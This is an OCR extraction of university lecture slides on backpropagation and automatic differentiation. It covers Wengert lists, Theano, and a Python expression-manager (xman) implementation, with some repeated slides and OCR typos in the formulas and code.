2], [3473, 7064, 3], [7064, 13224, 4], [13224, 14979, 5], [14979, 17600, 6], [17600, 23893, 7], [23893, 26242, 8], [26242, 28979, 9], [28979, 32771, 10], [32771, 37334, 11], [37334, 40025, 12], [40025, 42406, 13], [42406, 46613, 14], [46613, 48309, 15], [48309, 52337, 16], [52337, 54010, 17], [54010, 54173, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54173, 0.0]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
906c932f3beb5cb17a2f5f174a4810633210e34c
Lecture Nov 1 > halfway to midterm project reports THE TRENDS ISSUE Linear regression: Talks sex, Justin Bieber, and doing the dishes Exclusive Black and Scholes How this iconic duo became THE name in statistical finance SVMs: The HOTTEST black box method you haven't even heard of yet! Spice up your null model- 32 ways how! Are you a frequentist or a Bayesian? Take our quiz and find out! Deep Learning (continued) Recap of ANNs: so far • History/overview of ANNs • ANN utility, scalability, and trainability – ANNs are expressive (especially if you can vary the architecture and set of computational units you can use) – ANNs are fast for large datasets (especially if you can use GPUs and parallel processing for matrix operations) • Modern ANNs – ... BackProp: summary $$\delta^L = \nabla_a C \odot \sigma'(z^L)$$ $$\delta^l = ((w^{l+1})^T \delta^{l+1}) \odot \sigma'(z^l)$$ $$\frac{\partial C}{\partial b^l_j} = \delta^l_j$$ $$\frac{\partial C}{\partial w^l_{jk}} = a^{l-1}_k \delta^l_j$$ **Level l for l=1,...,L** **Matrix:** $w^l$ **Vectors:** - bias $b^l$ - activation $a^l$ - pre-sigmoid activ: $z^l$ - target output $y$ - “local error” $\delta^l$ Computation propagates errors backward for $l=1, 2, \ldots L$: $$a^l = \sigma(w^l a^{l-1} + b^l).$$ for $l=L,L-1,\ldots,1$: $$\delta^l = ((w^{l+1})^T \delta^{l+1}) \odot \sigma'(z^l)$$ $$\frac{\partial C}{\partial b^l_j} = \delta^l_j$$ $$\frac{\partial C}{\partial w^l_{j,k}} = a^{l-1}_k \delta^l_j$$ Modern ANNs • Use of softmax and entropic loss instead of quadratic loss. • Use of alternate non-linearities – reLU and hyperbolic tangent • Better understanding of weight initialization • Ability to explore architectures rapidly How can we generalize BackProp to other ANNs? Deep Neural Network Toolkits: What’s Under the Hood? Recap: weight updates for multilayer ANN How can we generalize BackProp to other ANNs? For nodes $k$ in output layer: $$ \delta_k \equiv (t_k - a_k) \cdot a_k (1 - a_k) $$ For nodes $j$ in hidden layer: $$ \delta_j \equiv \sum_k (\delta_k w_{kj}) \cdot a_j (1 - a_j) $$ For all weights: $$ \begin{align*} w_{kj} &= w_{kj} - \epsilon \delta_k a_j \\ w_{ji} &= w_{ji} - \epsilon \delta_j a_i \end{align*} $$ “Propagate errors backward” BACKPROP Can carry this recursion out further if you have multiple hidden layers \[ f(x_1, x_2) \equiv (2x_1 + x_2)^2 \] \[ \begin{align*} z_1 &= \text{add}(x_1, x_1) \\ z_2 &= \text{add}(z_1, x_2) \\ f &= \text{square}(z_2) \end{align*} \] \[ f(x_1, x_2) = (2x_1 + x_2)^2 = 4x_1^2 + 4x_1x_2 + x_2^2 \] \[ \begin{align*} \frac{df}{dx_1} &= 8x_1 + 4x_2 \\ \frac{df}{dx_2} &= 4x_1 + 2x_2 \end{align*} \] \[ f(x_1, x_2) \equiv (2x_1 + x_2)^2 \] \[ \begin{align*} z_1 &= \text{add}(x_1, x_1) \\ z_2 &= \text{add}(z_1, x_2) \\ f &= \text{square}(z_2) \end{align*} \] <table> <thead> <tr> <th>Derivation Step</th> <th>Reason</th> </tr> </thead> <tbody> <tr> <td>[ \frac{df}{dx_1} = \frac{dz_2^2}{dz_2} \cdot \frac{dz_2}{dx_1} ]</td> <td>[ f = z_2^2 ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \frac{dz_2}{dx_1} ]</td> <td>[ \frac{d(a^2)}{da} = 2a ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \frac{d(z_1+x_2)}{dx_1} ]</td> <td>[ z_2 = z_1 + x_2 ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \left(1 \cdot \frac{dz_1}{dx_1} + 1 \cdot \frac{dx_2}{dx_1}\right) ]</td> <td>[ \frac{d(a+b)}{da} = \frac{d(a+b)}{db} = 1 ]</td> </tr> </tbody> </table> ... \[ f(x_1, x_2) \equiv (2x_1 + x_2)^2 \] <table> <thead> <tr> <th>Derivation Step</th> <th>Result</th> </tr> </thead> <tbody> <tr> <td>[ \frac{df}{dx_1} = \frac{dz_2^2}{dz_2} \cdot \frac{dz_2}{dx_1} ]</td> <td>[ z_1 = \text{add}(x_1, x_1) ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \frac{dz_2}{dx_1} ]</td> <td>[ z_2 = \text{add}(z_1, x_2) ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \frac{d(z_1 + x_2)}{dx_1} ]</td> <td>[ f = \text{square}(z_2) ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \left( 1 \cdot \frac{dz_1}{dx_1} + 1 \cdot \frac{dx_2}{dx_1} \right) ]</td> <td>[ f = z_2^2 ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \left( 1 \cdot \frac{d(x_1 + x_1)}{dx_1} + 1 \cdot \frac{dx_2}{dx_1} \right) ]</td> <td>[ \frac{d(a^2)}{da} = 2a ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \left( 1 \cdot \left( 1 \cdot \frac{dx_1}{dx_1} + 1 \cdot \frac{dx_1}{dx_1} \right) + 1 \cdot \frac{dx_2}{dx_1} \right) ]</td> <td>[ z_2 = z_1 + x_2 ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot \left( 1 \cdot (1 \cdot 1 + 1 \cdot 1) + 1 \cdot 0 \right) ]</td> <td>[ \frac{d(a+b)}{da} = \frac{d(a+b)}{db} = 1 ]</td> </tr> <tr> <td>[ \frac{df}{dx_1} = 2z_2 \cdot 2 = 8x_1 + 4x_2 ]</td> <td>[ \frac{da}{da} = 1 \text{ and } \frac{da}{db} = 0 \text{ for inputs } a, b ]</td> </tr> </tbody> </table> **Simplify** Generalizing backprop - Starting point: a function of $n$ variables - Step 1: code your function as a series of assignments - Step 2: back propagate by going thru the list in reverse order, starting with... $$\frac{dx_N}{dx_N} \leftarrow 1$$ ...and using the chain rule $$\frac{dx_N}{dx_i} = \sum_{j:i \in \pi(j)} \frac{dx_N}{dx_j} \frac{\partial x_j}{\partial x_i}$$ Example: $$x_7 = x_2 + x_5$$ $$\pi(7) = (2, 5)$$ $$f_7 = \text{add}$$ Step 1: forward inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ $x_i \leftarrow f_i(x_{\pi(i)})$ return $x_N$ Step 1: backprop for $i = N - 1, N - 2, \ldots, 1$ $$\frac{dx_N}{dx_i} \leftarrow \sum_{j:i \in \pi(j)} \frac{dx_N}{dx_j} \frac{\partial f_j}{\partial x_i}$$ Computed in previous step https://justindomke.wordpress.com/ Recap: logistic regression with SGD Let $X$ be a matrix with $k$ examples Let $w_i$ be the input weights for the $i$-th hidden unit Then $Z = XW$ is output (pre-sigmoid) for all $m$ units for all $k$ examples There’s a lot of chances to do this in parallel.... with parallel matrix multiplication Example: 2-layer neural network Step 1: forward inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ $x_i \leftarrow f_i(x_{\pi(i)})$ return $x_N$ Step 1: backprop for $i = N - 1, N - 2, \ldots, 1$ $$\frac{dx_N}{dx_i} \leftarrow \sum_{j:i \in \pi(j)} \frac{dx_N}{dx_j} \frac{\partial f_j}{\partial x_i}$$ Inputs: $X, W1, B1, W2, B2$ $Z1a = \text{mul}(X, W1)$ // matrix mult $Z1b = \text{add}^*(Z1a, B1)$ // add bias vec $A1 = \text{tanh}(Z1b)$ // element-wise $Z2a = \text{mul}(A1, W2)$ $Z2b = \text{add}^*(Z2a, B2)$ $A2 = \text{tanh}(Z2b)$ // element-wise $P = \text{softMax}(A2)$ // vec to vec $C = \text{crossEnt}_y(P)$ // cost function Target $Y$; $N$ examples; $K$ outs; $D$ feats, $H$ hidden $X$ is $N*D$, $W1$ is $D*H$, $B1$ is $1*H$, $W2$ is $H*K$, … Example: 2-layer neural network Step 1: forward inputs: \( x_1, x_2, \ldots, x_n \) for \( i = n+1, n+2, \ldots, N \) \( x_i' \leftarrow \hat{f}_i(x_{\pi(i)}) \) return \( x_N \) for \( i = N - 1, N - 2, \ldots, 1 \) \[ \frac{dC}{dx_i} \leftarrow \sum_{j: i \in \pi(j)} \frac{dC}{dx_j} \frac{\partial f_j}{\partial x_i} \] \[ dC/dC = 1 \] \[ dC/DP = dC/dC * dCrossEnt_Y/dP \] \[ dC/DA2 = dC/dP * dsoftmax/DA2 \] \[ dC/Z2b = dC/DA2 * dtanh/DZ2b \] \[ dC/DZ2a = dC/DZ2b * dadd/DZ2a \] \[ dC/DB2 = dC/DZ2b * dadd/DB2 \] \[ dC/DA1 = ... \] Inputs: X,W1,B1,W2,B2 Z1a = mul(X,W1) // matrix mult Z1b = add*(Z1a,B1) // add bias vec A1 = tanh(Z1b) //element-wise Z2a = mul(A1,W2) //N*H Z2b = add*(Z2a,B2) A2 = tanh(Z2b) // element-wise P = softmax(A2) // vec to vec C = crossEnt_Y(P) // cost function \[ a^l_j = \frac{e^l_j}{\sum_k e^l_k} - \frac{1}{N} \sum_i \left( \frac{p_i - y_i}{y_i(1-y_i)} \right) \] Target Y; N rows; K outs; D feats, H hidden Example: 2-layer neural network \[ \begin{align*} \text{mul} & \quad X \quad \text{W1} \\ \downarrow & \quad \downarrow \\ \text{add} & \quad Z1a \quad B1 \\ \downarrow & \quad \downarrow \\ \text{tanh} & \quad Z1b \\ \downarrow & \quad \downarrow \\ \text{mul} & \quad A1 \quad W2 \\ \downarrow & \quad \downarrow \\ \text{add} & \quad Z2a \quad B2 \\ \downarrow & \quad \downarrow \\ \text{tanh} & \quad A2 \\ \downarrow & \quad \downarrow \\ \text{softmax} & \quad P \\ \downarrow & \quad \downarrow \\ \text{crossent}_\gamma & \quad C \end{align*} \] \[ \begin{align*} dC/dC &= 1 \\ dC/dP &= dC/dC \times d\text{CrossEnt}_\gamma/dP \\ dC/dA2 &= dC/dP \times d\text{softmax}/dA2 \\ dC/dZ2b &= dC/dA2 \times dtanh/dZ2b \\ dC/dZ2a &= dC/dZ2b \times d\text{add}/dZ2a \\ & \quad \text{•} \quad dC/dB2 = dC/dZ2b \times d\text{add}/dB2 \\ dC/dA1 &= dC/dZ2a \times dmul/dA1 \\ & \quad \text{•} \quad dC/dW2 = dC/dZ2a \times dmul/dW2 \\ dC/dZ1b &= dC/dA1 \times dtanh/dZ1b \\ dC/dZ1a &= dC/dZ1b \times d\text{add}/dZ1a \\ & \quad \text{•} \quad dC/dB1 = dC/dZ1b \times d\text{add}/dB1 \\ dC/dX &= dC/dZ1a \times dmul*/dZ1a \\ & \quad \text{•} \quad dC/dW1 = dC/dZ1a \times dmul*/dW1 \end{align*} \] Example: 2-layer neural network **Step 1: forward** inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ $$x_i \leftarrow f_i(x_{\pi(i)})$$ return $x_N$ **Inputs:** $X, W1, B1, W2, B2$ $Z1a = \text{mul}(X, W1)$ // matrix mult $Z1b = \text{add}(Z11, B1)$ // add bias vec $A1 = \text{tanh}(Z1b)$ // element-wise $Z2a = \text{mul}(A1, W2)$ // element-wise $Z2b = \text{add}(Z2a, B2)$ $A2 = \text{tanh}(Z2b)$ // element-wise $P = \text{softmax}(A2)$ // vec to vec $C = \text{crossEnt}_Y(P)$ // cost function **Step 1: backprop** for $i = N - 1, N - 2, \ldots, 1$ $$\frac{dx_N}{dx_i} \leftarrow \sum_{j:i\in\pi(j)} \frac{dx_N}{dx_j} \frac{\partial f_j}{\partial x_i}$$ $$dC/dC = 1$$ $$dC/dP = dC/dC \ast d\text{CrossEnt}_Y/dP$$ $$dC/dA2 = dC/dP \ast d\text{softmax}/dA2$$ $$dC/Z2b = dC/dA2 \ast dtanh/dZ2b$$ $$dC/dZ2a = dC/dZ2b \ast d\text{add}/dZ2a$$ $$dC/db2 = dC/dZ2b \ast d\text{add}/db2$$ $$dC/dA1 = \ldots$$ Need a backward form for each matrix operation used in forward Target $Y$; $N$ rows; $K$ outs; $D$ feats, $H$ hidden $$-\frac{1}{N} \sum_i \left( \frac{p_i - y_i}{y_i(1 - y_i)} \right)$$ Example: 2-layer neural network **Step 1: forward** inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ \[ x_i \leftarrow f_i(x_{\pi(i)}) \] return $x_N$ **Step 1: backprop** \[ \frac{dx_N}{dx_i} \leftarrow \sum_{j:i \in \pi(j)} \frac{dx_N}{dx_j} \frac{\partial f_j}{\partial x_i} \] $\frac{dC}{dC} = 1$ $\frac{dC}{dP} = \frac{dC}{dC} \ast \frac{d\text{CrossEnt}_Y}{dP}$ $\frac{dC}{dA2} = \frac{dC}{dP} \ast \frac{d\text{softmax}}{dA2}$ $\frac{dC}{Z2b} = \frac{dC}{dA2} \ast \frac{dtanh}{dZ2b}$ $\frac{dC}{dZ2a} = \frac{dC}{dZ2b} \ast \frac{d\text{add}}{dZ2a}$ $\frac{dC}{dB2} = \frac{dC}{dZ2b} \ast \frac{d\text{add}}{dB2}$ $\frac{dC}{dA1} = \ldots$ Target $Y; N$ rows; $K$ outs; $D$ feats, $H$ hidden Need a backward form for each matrix operation used in forward, with respect to each argument Example: 2-layer neural network Step 1: forward inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ $$x_i \leftarrow f_i(x_{\pi(i)})$$ return $x_N$ An autodiff package usually includes - A collection of matrix-oriented operations (mul, add*, …) - For each operation - A forward implementation - A backward implementation for each argument - It’s still a little awkward to program with a list of assignments so…. Need a backward form for each matrix operation used in forward, with respect to each argument Inputs: X,W1,B1,W2,B2 $Z1a = \text{mul}(X,W1)$ // matrix mult $Z1b = \text{add}(Z11,B1)$ // add bias vec $A1 = \text{tanh}(Z1b)$ // element-wise $Z2a = \text{mul}(A1,W2)$ $Z2b = \text{add}(Z2a,B2)$ $A2 = \text{tanh}(Z2b)$ // element-wise $P = \text{softMax}(A2)$ // vec to vec $C = \text{crossEnt}.(P)$ // cost function Target Y; $N$ rows; $K$ outs; $D$ feats, $H$ hidden Generalizing backprop - Starting point: a function of $n$ variables - Step 1: code your function as a series of assignments Better plan: overload your matrix operators so that when you use them in-line they build an expression graph Convert the expression graph to a Wengert list when necessary Step 1: forward inputs: $x_1, x_2, \ldots, x_n$ \[ \text{for } i = n + 1, n + 2, \ldots, N \] \[ x_i \leftarrow f_i(x_{\pi(i)}) \] return $x_N$ Some autodiff systems Example: Theano ```python import numpy import theano import theano.tensor as T rng = numpy.random # Training data N = 400 features = 784 D = 10000 # Declare Theano symbolic variables x = T.matrix("x") y = T.vector("y") w = theano.shared(rng.randn(features).astype(theano.config.floatX), name="w") b = theano.shared(numpy.asarray(0., dtype=theano.config.floatX), name="b") x.tag.test_value = D[0] y.tag.test_value = D[1] # Construct Theano expression graph p_1 = 1 / (1 + T.exp(-T.dot(x, w) - b)) # Probability of having a one predict = p_1 > 0.5 xent = -y*T.log(p_1) - (1-y)*T.log(1-p_1) cost = xent.mean() + 0.01*(w**2).sum() # Ridge gw,gb = T.grad(cost, [w,b]) ``` Example: Theano \[ p_1 = \frac{1}{1 + \text{T.exp}(-\text{T.dot}(x, w) - b)} \] \[ \text{prediction} = p_1 > 0.5 \]} \[ p_1 = \frac{1}{1 + \text{T.exp}(-\text{T.dot}(x, w) - b))} \] \text{prediction} = p_1 > 0.5 Example: 2-layer neural network Step 1: forward inputs: $x_1, x_2, \ldots, x_n$ for $i = n + 1, n + 2, \ldots, N$ $$x_i \leftarrow f_i(x_{\pi(i)})$$ return $x_N$ An autodiff package usually includes - A collection of matrix-oriented operations (mul, add*, …) - For each operation - A forward implementation - A backward implementation for each argument - A way of composing operations into expressions (often using operator overloading) which evaluate to expression trees - Expression simplification/compilation Inputs: $X,W1,B1,W2,B2$ $Z1a = \text{mul}(X,W1)$ // matrix mult $Z1b = \text{add}(Z11,B1)$ // add bias vec $A1 = \text{tanh}(Z1b)$ //element-wise $Z2a = \text{mul}(A1,W2)$ // $N*H$ $Z2b = \text{add}(Z2a,B2)$ $A2 = \text{tanh}(Z2b)$ // element-wise $P = \text{softmax}(A2)$ // vec to vec $C = \text{crossEnt}_{\gamma}(P)$ // cost function Some tools that use autodiff • Theano: – Univ Montreal system, Python-based, first version 2007 now v0.8, integrated with GPUs – Many libraries build over Theano (Lasagne, Keras, Blocks..) • Torch: – Collobert et al, used heavily at Facebook, based on Lua. Similar performance-wise to Theano • TensorFlow: – Google system – Also supported by Keras • Autograd – New system which is very Pythonic, doesn’t support GPUs (yet) • ... Breaking down autodiff Walkthru of an Autodiff Program Matrix and vector operations are very useful \[ f(x, y, W) \equiv \text{crossEntropy}(\text{softmax}(x \cdot W), y) + \text{frobeniusNorm}(W) \] \[ z_1 = \text{dot}(x, W) \] \[ z_2 = \text{softmax}(z_1) \] \[ z_3 = \text{crossEntropy}(z_2, y) \] \[ z_4 = \text{frobeniusNorm}(W) \] \[ f = \text{add}(z_3, z_4) \] Walkthru of an Autodiff Program Matrix and vector operations are very useful \[ f(x, y, W) = \text{crossEntropy}(\text{softmax}(x \cdot W), y) + \text{frobeniusNorm}(W) \] \[ \text{softmax}(\langle a_1, \ldots, a_d \rangle) \equiv \langle \frac{e^{a_1}}{\sum_{i=1}^{d} e^{a_i}}, \ldots, \frac{e^{a_d}}{\sum_{i=1}^{d} e^{a_i}} \rangle \] \[ \text{crossEntropy}(\langle a_1, \ldots, a_d \rangle, \langle b_1, \ldots, b_d \rangle) \equiv -\sum_{i=1}^{d} a_i \log b_i \] \[ \text{frobeniusNorm}(A) \equiv \sqrt{\sum_{i=1}^{d} \sum_{j=1}^{k} a_{i,j}^2} \] Walkthru of an Autodiff Program Matrix and vector operations are very useful...but let's start with some simple scalar operations. \[ f(x_1, x_2) \equiv (2x_1 + x_2)^2 \] \[ G = \{ \text{add, multiply, square} \} \] \[ \begin{align*} z_1 & = \text{add}(x_1, x_1) \\ z_2 & = \text{add}(z_1, x_2) \\ f & = \text{square}(z_2) \end{align*} \] Python encoding \[ [ \text{("z1", "add", ("x1","x1"))}, \text{("z2", "add", ("z1","x2"))}, \text{("f", "square", ("z2"))} ] \] The Interesting Part: Evaluation and Differentiation of a Wengert list \[ f(x_1, x_2) \equiv (2x_1 + x_2)^2 \] \[ \begin{align*} z_1 &= \text{add}(x_1, x_1) \\ z_2 &= \text{add}(z_1, x_2) \\ f &= \text{square}(z_2) \end{align*} \] To compute \( f(3,7) \): ```python G = { "add" : lambda a,b: a+b, "square": lambda a:a*a } [ ("z1", "add", ("x1","x1")), ("z2", "add", ("z1","x2")), ("f", "square", ("z2")) ] def eval(f): initialize val = { "x1" : 3, "x2" : 7 } for (z, g, (y1, ..., yk)) in the list: op = G[g] val[z] = op(val[y1], ..., val[yk]) return the last entry stored in val. ``` The Interesting Part: Evaluation and Differentiation of a Wengert list To compute \( f(3,7) \): \[ \begin{align*} DG &= \{ \text{"add"} : [ (\text{lambda } a,b: 1), (\text{lambda } a,b: 1) ], \\ &\quad \quad \text{"square"} : [ \text{lambda } a:2*a ] \} \\ \theta_1 &= \text{add}(\theta_1, \theta_2) \\ \theta_2 &= 3 \\ f &= \text{square}(\theta_2) \end{align*} \] Populated with call to “eval” ```python def backprop(f, val): initialize delta: delta[f] = 1 for (z, g, (y_1, ..., y_k)) in the list, in reverse order: for i = 1, ..., k: \( op_i = DG[g][i] \) if delta[y_i] is not defined set delta[y_i] = 0 delta[y_i] = delta[y_i] + delta[z] * op_i(val[y_1], ..., val[y_k]) ``` Differentiating a Wengert list: a simple case \[ z_1 = f_1(z_0) \] \[ z_2 = f_2(z_1) \] \[ \vdots \] \[ z_m = f_m(z_{m-1}) \] \[ \frac{dz_m}{dz_0} = \frac{dz_m}{dz_{m-1}} \frac{dz_{m-1}}{dz_0} \] \[ = \frac{dz_m}{dz_{m-1}} \frac{dz_{m-1}}{dz_{m-2}} \frac{dz_{m-2}}{dz_0} \] \[ \vdots \] \[ = \frac{dz_m}{dz_{m-1}} \frac{dz_{m-1}}{dz_{m-2}} \cdots \frac{dz_1}{dz_0} \] Notation: \( h_{i,j} \to \frac{dz_i}{dz_j} \) Differentiating a Wengert list: a simple case \[ z_1 = f_1(z_0) \quad a_1 = f_1(a) \] \[ z_2 = f_2(z_1) \quad a_2 = f_2(f_1(a)) \] \[ \ldots \quad \ldots \] \[ z_m = f_m(z_{m-1}) \quad a_m = f_m(f_{m-1}(f_{m-2}(\ldots f_1(a)\ldots))) \] Notation: \( h_{i,j} \rightarrow \frac{dz_i}{dz_j} \) \( a_i \) is the \( i \)-th output on input \( a \) Differentiating a Wengert list: a simple case \[ z_1 = f_1(z_0) \] \[ z_2 = f_2(z_1) \] \[ \ldots \] \[ z_m = f_m(z_{m-1}) \] \[ \frac{dz_m}{dz_0} = \frac{dz_m}{dz_{m-1}} \frac{dz_{m-1}}{dz_0} \] for all \( a \) \[ h_{m,0}(a) = f'_m(a_m) \cdot h_{m-1,1}(a) \] Notation: \( h_{i,j} \rightarrow \frac{dz_i}{dz_j} \) Differentiating a Wengert list: a simple case \[ \begin{align*} z_1 &= f_1(z_0) \\ z_2 &= f_2(z_1) \\ \vdots \\ z_m &= f_m(z_{m-1}) \end{align*} \] \[ \frac{dz_m}{dz_0} = \frac{dz_m}{dz_{m-1}} \cdot \frac{dz_{m-1}}{dz_{m-2}} \cdot \ldots \cdot \frac{dz_1}{dz_0} \] for all \(a\) \[ h_{m,0}(a) = f'_m(a_m) \cdot f'_{m-1}(a_{m-1}) \cdot \ldots \cdot f'_2(a_1) \cdot f'_1(a) \] Notation: \(h_{i,j} \rightarrow \frac{dz_i}{dz_j}\) Differentiating a Wengert list: a simple case \[ \frac{dz_m}{dz_0} = \frac{dz_m}{dz_{m-1}} \frac{dz_{m-1}}{dz_{m-2}} \cdots \frac{dz_1}{dz_0} \] for all \(a\) \[h_{m,0}(a) = f'_m(a_m) \cdot f'_{m-1}(a_{m-1}) \cdots f'_2(a_1) \cdot f'_1(a)\] backprop routine compute order \[h_{m,0}(a) = ( (((f'_m(a_m) \cdot f'_{m-1}(a_{m-1})) \cdot f'_{m-2}(a_{m-2})) \cdots f'_2(a_1))) \cdot f'_1(a)\] \[\text{delta}[z_i] = f'_m(a_m) \cdots f'_i(a_i)\] Differentiating a Wengert list \[ DG = \{ \text{"add" : [ (lambda a,b: 1), (lambda a,b: 1) ]}, \\ \text{"square" : [ lambda a:2*a ] } \} \] \[ [ (\text{"z1"}, \text{"add"}, (\text{"x1"},\text{"x1"})), \\ (\text{"z2"}, \text{"add"}, (\text{"z1"},\text{"x2"})), \\ (\text{"f"}, \text{"square"}, (\text{"z2"})) ] \] def backprop(f, val): initialize delta: delta[f] = 1 for (z, g, (y_1, ..., y_k)) in the list, in reverse order: for i = 1, ..., k: op_i = DG[g][i] if delta[y_i] is not defined set delta[y_i] = 0 delta[y_i] = delta[y_i] + delta[z] * op_i(val[y_1], ..., val[y_k]) The Tricky Part: Constructing a List Goal: write code like this: ```python from xman import * ... class f(XManFunctions): @staticmethod def half(a): ... class Triangle(XMan): h = f.input() w = f.input() area = f.half(h*w) ... xm = Triangle().setup() print xm.operationSequence(xm.area) ``` Add your problem-specific functions: but just the syntax, not the G and DG definitions Define the function to optimize with gradient descent Use your function Python code to create a Wengert list ```python from xman import * ... class f(XManFunctions): @staticmethod def half(a): ... class Triangle(XMan): h = f.input() w = f.input() area = f.half(h*w) ... xm = Triangle().setup() print xm.operationSequence(xm.area) ``` - `h`, `w`, and `area` are registers. - Also an automatically-named register `z1` to hold `h*w`. Output: ``` [('z1', 'mul', ['h', 'w']), ('area', 'half', ['z1'])] ``` from xman import * ... class f(XManFunctions): @staticmethod def half(a): ... class Triangle(XMan): h = f.input() w = f.input() area = f.half(h*w) ... xm = Triangle().setup() print xm.operationSequence(xm.area) some Python hacking can use the class variable name ‘area’ and insert it into the ‘name’ field of a register and invert names for the others at setup() Python code to create a Wengert list ```python from xman import * ... class f(XManFunctions): @staticmethod def half(a): ... class Triangle(XMan): h = f.input() w = f.input() area = f.half(h*w) ... xm = Triangle().setup() print xm.operationSequence(xm.area) ``` “half” is an operator so is “mul” --- h*w ➔ mul(h,w) each instance of an operator points to registers that are arguments and outputs Python code to create a Wengert list $h, w$ are registers; $\text{mul}()$ generates an operator class f(XManFunctions): @staticmethod def half(a): ... class Triangle(XMan): h = f.input() w = f.input() area = f.half(h*w) Python code to create a Wengert list class XManFunctions(object): @staticmethod def input(default=None): return Register(role='input', default=default) @staticmethod def mul(a, b): return XManFunctions.registerDefinedByOperator('mul', a, b) @staticmethod def registerDefinedByOperator(fun,*args): reg = Register(role='operationOutput') op = Operation(fun,*args) reg.definedAs = op op.outputReg = reg return reg <table> <thead> <tr> <th>name</th> <th>“area”</th> </tr> </thead> <tbody> <tr> <td>role</td> <td>“opOut”</td> </tr> <tr> <td>defAs</td> <td>02</td> </tr> <tr> <td>args</td> <td>[A1]</td> </tr> <tr> <td>fun</td> <td>“half”</td> </tr> <tr> <td>output</td> <td>R4</td> </tr> </tbody> </table> Even more detail.... ```python class Operation(object): """"""" An operation encodes a single step of a differentiable computation, eg y=f(x1,...,xk). It contains a function, arguments, and a pointer to the register that is defined as the output of this operation. """"""" def __init__(self, fun,*args): self.fun = fun self.args = args self.outputReg = None def asStringTuple(self): """"""" Return a nested tuple of encoding the operation y=f(x1,...xk) of the form (y,f,(x1,...,xk)) where y,f, and x1...xk are strings. """"""" dstName = self.outputReg.name if (self.outputReg and self.outputReg.name) else "???" argNames = map(lambda reg:reg.name or "???", self.args) return (dstName,self.fun,argNames) def __str__(self): """"""" Human readable representation """"""" (dstName,fun,argNames) = self.asStringTuple() return dstName + " = f." + fun + "(" + ",".join(argNames) + ")" ``` class Register(object): """ Registers are like variables – they are used as the inputs to and outputs of Operations. The 'name' of each register should be unique, as it will be used as a key in storing outputs, and """ _validRoles = set("input param operationOutput".split()) def __init__(self,role=None,default=None): assert role in Register._validRoles self.role = role self.name = None self.definedAs = None self.default = default def inputsTo(self): """ Trace back through the definition of this register, if it exists, to find a list of all other registers that this register depends on. This method is needed to find the operationSequence that is needed to construct the value of a register, and also to assign names to otherwise unnamed registers. """ if self.definedAs: assert isinstance(self.definedAs,Operation) return self.definedAs.args else: return [] # operator overloading def __add__(self,other): return XManFunctions.add(self,other) def __sub__(self,other): return XManFunctions.subtract(self,other) def __mul__(self,other): return XManFunctions.mul(self,other) class XManFunctions(object): """ Encapsulates the static methods that are used in a subclass of XMan. Each of these generates an OperationOutput register that is definedBy an Operation, with the operations outputReg field pointing back to the register. """ You will usually subclass this so you can add your own functions, and give the subclass a short name """ @staticmethod def input(default=None): return Register(role='input',default=default) @staticmethod def param(default=None): return Register(role='param',default=default) @staticmethod def add(a,b): return XManFunctions.registerDefinedByOperator('add',a,b) @staticmethod def subtract(a,b): ... @staticmethod def registerDefinedByOperator(fun,*args): ... <table> <thead> <tr> <th>name</th> <th>&quot;area&quot;</th> </tr> </thead> <tbody> <tr> <td>role</td> <td>&quot;opOut&quot;</td> </tr> <tr> <td>defAs</td> <td>02</td> </tr> <tr> <td>args</td> <td>[A1]</td> </tr> <tr> <td>fun</td> <td>&quot;half&quot;</td> </tr> <tr> <td>output</td> <td>R4</td> </tr> </tbody> </table> class XMan(object): def __init__(self): self._nextTmp = 1 self._setupComplete = False self._registers = {} def setup(self): """ Must call this before you do any other operations with an expression manager """ # use available python variable names for register names for regName, reg in self.namedRegisterItems(): if not reg.name: reg.name = regName self._registers[regName] = reg # give names to any other registers used in subexpressions def _recursivelyLabelUnnamedRegisters(reg): if not reg.name: reg.name = '{%d} % self._nextTmp self._nextTmp += 1 self._registers[reg.name] = reg for child in reg.inputsTo(): _recursivelyLabelUnnamedRegisters(child) for regName, reg in self.namedRegisterItems(): _recursivelyLabelUnnamedRegisters(reg) self._setupComplete = True # convenient return value so we can say net = FooNet().setup() return self def namedRegisterItems(self): """ Returns a list of all pairs (name, registerObject) where some python class/instance variable with the given name is bound to a Register object. These are sorted by name to make tests easier. """ keys = sorted(self.__dict__.keys() + self.__class__.__dict__.keys()) vals = [self.__dict__.get(k) or self.__class__.__dict__.get(k) for k in keys] return filter(lambda (reg, regObj): isinstance(regObj, Register), zip(keys, vals)) class XMan(object): ... def operationSequence(self, reg): """""" Traverse the expression tree to find the sequence of operations needed to compute the values associated with this register. """" assert self._setupComplete, 'operationSequence() called before setup()' # pre-order traversal of the expression tree previouslyDefined = set() buf = [] for child in reg.inputsTo(): if child.name not in previouslyDefined: buf += self.operationSequence(child) previouslyDefined.add(child.name) if reg.definedAs and (not reg.name in previouslyDefined): buf.append(reg.definedAs.asStringTuple()) return buf from xman import * # functions I'll use for this problem class f(XManFunctions): @staticmethod def half(a): return XManFunctions.registerDefinedByOperator('half', a) @staticmethod def square(a): return XManFunctions.registerDefinedByOperator('square', a) @staticmethod def alias(a): """ This will just make a copy of a register that has a different name."" return XManFunctions.registerDefinedByOperator('alias', a) Using xman.py EVAL_FUNS = { 'add': lambda x1, x2: x1 + x2, 'subtract': lambda x1, x2: x1 - x2, 'mul': lambda x1, x2: x1 * x2, 'half': lambda x: 0.5 * x, 'square': lambda x: x ** 2, 